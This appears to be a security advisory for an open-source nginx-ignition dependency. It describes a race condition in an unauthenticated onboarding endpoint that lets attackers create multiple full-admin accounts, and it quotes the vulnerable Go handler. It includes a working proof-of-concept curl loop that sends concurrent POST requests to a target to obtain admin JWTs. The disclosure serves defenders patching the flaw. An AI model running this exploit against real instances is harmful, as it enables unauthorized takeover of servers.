
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 0.0.0-20260621194639-0586b4e55ab
Patched in 0.0.0-20260621194639-0586b4e55ab
Details
POST /api/users/onboarding/finish is registered as anonymous (unauthenticated) and creates a user with full ReadWrite admin permissions. Because the handler uses a check-then-act (TOCTOU) pattern between the "onboarding already completed?" check and the user-creation write, with no atomic guard, a remote unauthenticated attacker who can reach an instance in its pre-onboarding state can create an administrator account for themselves — and concurrent requests can create multiple admin accounts in a single race.
POST /api/users/onboarding/finishapi/user/routes.go:49 → authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")api/user/onboarding_finish_handler.goThe route is explicitly allowed without authentication:
// api/user/routes.go:48-49
authorizer.AllowAnonymous(http.MethodGet, "/api/users/onboarding/status")
authorizer.AllowAnonymous(http.MethodPost, "/api/users/onboarding/finish")
The handler reads the onboarding state, returns 403 if already finished, and otherwise creates a user with every permission set to ReadWrite:
// api/user/onboarding_finish_handler.go
func (h onboardingFinishHandler) handle(ctx *gin.Context) {
alreadyFinished, err := h.commands.OnboardingCompleted(ctx.Request.Context()) // (1) CHECK
if err != nil { panic(err) }
if alreadyFinished {
ctx.Status(http.StatusForbidden)
return
}
requestPayload := &userRequestDTO{}
if err = ctx.BindJSON(requestPayload); err != nil { panic(err) }
domainModel := converter.Wrap(ctx.Request.Context(), toDomain, requestPayload)
domainModel.ID = uuid.New()
domainModel.Enabled = true
domainModel.Permissions = user.Permissions{ // full admin
Hosts: user.ReadWriteAccessLevel,
Streams: user.ReadWriteAccessLevel,
Certificates: user.ReadWriteAccessLevel,
Integrations: user.ReadWriteAccessLevel,
AccessLists: user.ReadWriteAccessLevel,
Settings: user.ReadWriteAccessLevel,
Users: user.ReadWriteAccessLevel,
NginxServer: user.ReadWriteAccessLevel,
Caches: user.ReadWriteAccessLevel,
// ...all remaining permissions ReadWrite/ReadOnly
}
if err = h.commands.Save(ctx.Request.Context(), domainModel, nil); err != nil { // (2) ACT
panic(err)
}
// ...authenticates and returns a JWT for the new admin
}
The gap between (1) OnboardingCompleted() and (2) Save() is not protected by a lock, transaction, or unique constraint. Two or more requests can each pass the alreadyFinished == false check before any of them commits, so every racing request proceeds to create an admin user and receive a valid admin JWT.
This is exploitable when the instance is in a pre-onboarding state:
The single-request path is a setup-window exposure; the race is what turns "first legitimate admin" into "attacker also gets admin," and what allows multiple admin accounts to be minted from one burst.
Against an instance that has not yet completed onboarding:
# Fire concurrent onboarding-finish requests; multiple admin accounts are created,
# each returning a valid admin JWT, despite the single-admin intent.
for i in $(seq 1 20); do
curl -s -X POST http://TARGET/api/users/onboarding/finish \
-H 'Content-Type: application/json' \
-d '{"username":"attacker'"$i"'","password":"P@ssw0rd123!"}' \
-o /dev/null -w "%{http_code}\n" &
done
wait
# Multiple 200 responses (each with a login token) instead of exactly one 200 + N×403.
Each 200 response body contains a userLoginResponseDTO with a JWT granting full admin access (Hosts/Streams/Certificates/Settings/Users/NginxServer/AccessLists/Caches = ReadWrite). The attacker then has complete control of the nginx-ignition instance and the nginx server it manages.
OnboardingCompleted() inside the same transaction that performs the insert, and abort on conflict.Finding ID: GM-4607
EPSS, exploit probability
Low0.43%
estimated chance of real-world exploitation in the next 30 days, higher than 37.9% of every CVE FIRST.org scores
Refreshed 11/6/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.